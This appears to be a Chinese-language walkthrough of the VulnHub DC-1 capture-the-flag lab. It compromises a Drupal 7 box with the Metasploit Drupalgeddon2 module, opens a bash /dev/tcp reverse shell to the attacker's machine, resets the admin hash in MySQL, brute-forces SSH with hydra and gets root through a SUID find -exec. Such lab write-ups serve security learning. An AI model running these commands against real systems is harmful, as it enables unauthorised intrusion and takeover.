900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > 【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)

【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)

时间:2021-07-24 08:26:47

相关推荐

【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)

目录

DC-1 靶机渗透测试实战

背景资料:

知识点

一、实验环境

二、实验要求

三、渗透过程演示

Flag1:

Flag2:

Flag3:

Flag4:

Flag5:

DC-1 靶机渗透测试实战

背景资料:

vulnhub 地址:

/entry/dc-1-1,292/

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

作者说一共有五个flag,有多种方法去提权,我们最终目标是去拿到/root的flag。总的来说,难度不高,适合新人练手。

知识点

CVE--7600 Drupal核心远程代码执行漏洞

drupal配置文件和重置管理员密码

suid提权

一、实验环境

实验环境:

kali:192.168.3.146/24(桥接到vmnet0)

靶机环境DC-1(桥接到vmnet0,MAC地址:00:0C:29:FA:13:84)

保证kali和DC-1在同一个网段

二、实验要求

靶机中一共有五个flag文件,我们需要找到它们,即可完成任务。

三、渗透过程演示

打开测试靶机DC-1

查看DC-1主机的网卡:NAT模式

MAC地址:00:0C:29:FA:13:84

为了操作方便,选择用ssh远程连接一下Kali

入侵演示:

官方没有给用户名和密码,我们也无法知道该靶机IP是多少,需要自己去测试。但是咱自己的kali攻击机是知道IP的,而且kali和靶机在同一个网段下面。

那就简单了,直接使用nmap扫描整个C段,得到如下信息:nmap -sP 192.168.3.1/24 -oN nmap.sp(这个后缀名是什么无所谓)

MAC 对照得到其IP地址

得知DC-1靶机的IP地址为192.168.3.144

对该靶机进行详细的扫描 nmap -A 192.168.3.144 -p 1-65535 -oN nmap.A

可以看到其22端口和 80 端口都是开放的

在80端口下,我们可以看到其网站的模板为:Drupal 7

22(ssh) 考虑爆破

80 drupal CMS(网站内容管理系统)

Drupal是国外三大开源的PHP CMS 之一

1、drupal

2、wordpress

3、joomla

所以说找到它的一个模板,其他自己定义,直接拿来用。

由nmap扫描端口后,在浏览器内输入ip后进行访问,查看到是一个Drupal cms管理系统。

扫描网站目录

工具1:dirb(网站目录扫描器,效率还是很高的,,扫描网站的目录以及文件,kali自带,有默认字典)

命令:dirb http://192.168.3.144/

访问robots.txt

工具2、dirbuster(kali自带,kali好像要自己装,要提供字典)

没安装的话,安装以下命令安装:

apt-get update

apt-get install dirbuster

robots.txt介绍:

robots协议(也称为爬虫协议、爬虫规则、机器人协议 等)也就是robots.txt,网站通过robots协议告诉搜索 引擎哪些页面可以抓取,哪些页面不希望被抓取。

有什么作用

Robots协议是网站国际互联网界通行的道德规范,其 目的是保护网站数据和敏感信息、确保用户个人信息和 隐私不被侵犯。

因其不是命令,故需要搜索引擎自觉遵守

一个网站为什么要写robots.txt

1、保护网站安全

2、节省流量

3、禁止搜索引擎收录部分页面

4、引导蜘蛛爬网站地图

Robots.txt放置位置

Robots.txt文件应该放置在网站根目录下

例如:当spider访问一个网站()时,首先会检查该网站中是否存在/robots.txt这个文件,如果 Spider找到这个文件,它就会根据这个文件的内容,来确定它访问权限的范围。

Robots.txt文件的写法

User-agent: * 这里的*代表的所有的搜索引擎种类,*是一个通配符

Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录

Disallow: /*?* 禁止访问网站中所有包含问号 (?) 的网址

Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片

Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。

Allow: /cgi-bin/这里定义是允许爬寻cgi-bin目录下面的目录

Allow: .htm$ 仅允许访问以".htm"为后缀的URL。

Allow: .gif$ 允许抓取网页和gif格式图片

Sitemap: 网站地图 告诉爬虫这个页面是网站地图

百度站长平台创建robots

访问http://192.168.3.144/UPGRADE.txt

发现当前版本是7.x

现在确定了组件的名字和版本,现在就可以搜索一下Drupal 7.x有什么漏洞

1、百度:drupal 7.x漏洞

2、去MSF里面搜索有没有Drupal 7.x漏洞攻击模块

MSF:

通过使用MSF 直接搜索该网站模板存在的漏洞

启动

msfconsole

search drupal

使用该攻击模块

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2

References:

https://nvd.nist.gov/vuln/detail/CVE--7600

/sa-core--002

/showthread.php?tid=2912

/uncovering-drupalgeddon-2/

/a2u/CVE--7600

/nixawk/labs/issues/19

/FireFart/CVE--7600

Also known as:

SA-CORE--002

Drupalgeddon 2

选择攻击载荷

set payload php/meterpreter/reverse_tcp

缺少目标地址,设置目标地址后,开始攻击

这就相当于我们成功入侵系统了!拿到shell,但是这个系统中有5个flag,要把这五个flag都找到

发现有一个flag1.php

Flag1:

cat flag1:

Every good CMS needs a config file - and so do you.

这句话指引我们,应该去找的该网站的配置文件

这里已经成功获取了flag1,但是flag1把线索引向了配置文件,这个配置文件肯定是网站的配置文件

接下来查找一下网站的配置文件

在哪呢?我们发现web.config比较可以,我们查看一下发现是XML文件,查看后没有什么线索。

思考:既然它是一个web应用,web应用一般都有数据库,那web应用的数据库密码是以明文的方式写在我们的脚本里面,那我们是不是可以去找一下数据库的密码是什么

数据库的配置文件一般写在哪个目录里面呢?自己一个一个去尝试

因为不知道durpal配置文件的路径,所以只能尝试一个一个路径去找,看能不能发现其他信息,发现一部分文件不能访问,重点关注includes,sites,web,config等文件,最后在sites/default/settings.php中发现了flag2。

最后发现在sites目录里面的default

Flag2:

cat sites/default/settings.php

/**

*

* flag2

* Brute force and dictionary attacks aren't the

* only ways to gain access (and you WILL need access).

* What can you do with these credentials?

*

*/

Flag2提示:暴力和字典攻击不是获取访问权限的唯一方式,并且将需要访问权限。同时文件中,也给出了mysql数据库的账户名和密码,尝试使用给出的密码和用户名进行登录发现无法登录成功。

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'host' => 'localhost',

'port' => '',

'driver' => 'mysql',

'prefix' => '',

在meterpreter状态下输入命令shell,可以获取系统控制台的shell

接下来构造一个命令去登录它的MySQL数据库

我们查看一下3306端口有没有开放:netstat -anptl

尝试连接:mysql -udbuser -pR0ck3t

建立持久性连接:做一个shell反弹

本地监听一下:nc -lvvp 2333(监听一下2333端口)

bash -i >& /dev/tcp/192.168.3.146/2333 0>&1(反弹到kali,kali地址是190.168.3.146),感觉会错误bin下的bash不允许你调用

改成:/bin/sh -i >& /dev/tcp/192.168.3.146/2333 0>&1(发现还是不行)

我们进入交互式shell

[python -c 'import pty;pty.spawn("/bin/bash")']

我们看看在这种情况下能不能做shell反弹:bash -i >& /dev/tcp/192.168.3.146/2333 0>&1

这种情况就能弹成功,为什么呢? 因为这个是通过python调的bash

尝试连接:mysql -udbuser -pR0ck3t

成功登陆!

现在已经登录MySQL数据库了

mysql> select * from users\G

密码的密文我们需要手动去生成一下,生成密码的密文在哪个路径下?

在/var/www目录下执行php scripts/password-hash.sh admin(命令含义是使用PHP去调用script下的password-hash.sh脚本生成密码为admin的密文)

password: admin hash: $S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M

接下来我们用这段hash值把原来admin用户的hash值覆盖掉

update users set pass="$S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M" where uid=1;(修改表)

Flag3:

接下来我们找到网站直接登录,登录成功!

Flag3

Special PERMS will help FIND the passwd - but you'll need to -exec >that command to work out how to get what's in the shadow.

直接把线索指向passwd

Flag4:

cat /etc/passwd 发现flag4

发现有/bin/bash说明flag4允许登录!

我们已知它开放了22端口,我们可以尝试爆破:

接下来我们使用hydra 爆破,该用户密码

hydra -l flag4 -P /usr/share/john/password.lst 192.168.3.144 ssh -vV -f -o hydra.ssh

-vV是显示详细的爆破详细

-f是如果遇到正确密码就停止爆破

-o是把爆破结果输出到一个文件中去

得到flag4的密码是orange

通过ssh登录一下:

ssh flag4@192.168.3.144

根据提示:另外一个flag在root的家目录下,但是这个过程不是特别简单

接下来考虑提权:

利用操作系统内核提权(是绝招,最后一招,到绝境中使用)

但是系统内核提权之前,我们需要做一项检查,检查系统之中是否有一些命令具有suid标识

如果有一些命令具有suid标志,说明这个命令在执行的过程中,会短暂的获得(其实不短暂)root权限,如果我们通过这些拥有suid标志的命令去调用bash的话,这个bash也会继承suid权限,也就会继承root权限。

那我们怎么去寻找有suid标识的命令呢?使用find / -perm -4000 2>/dev/null

Flag5:

这里面有哪些命令能调用bash呢?

find命令有个漏洞,就是它可以调用外部命令

find ajest -exec "whoami" \;(这里面字符一个都不能省略)

find ajest -exec "/bin/sh" \;

这样我们就成功拿到了最后一个flag,我们也成功获得我们主机的root权限!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。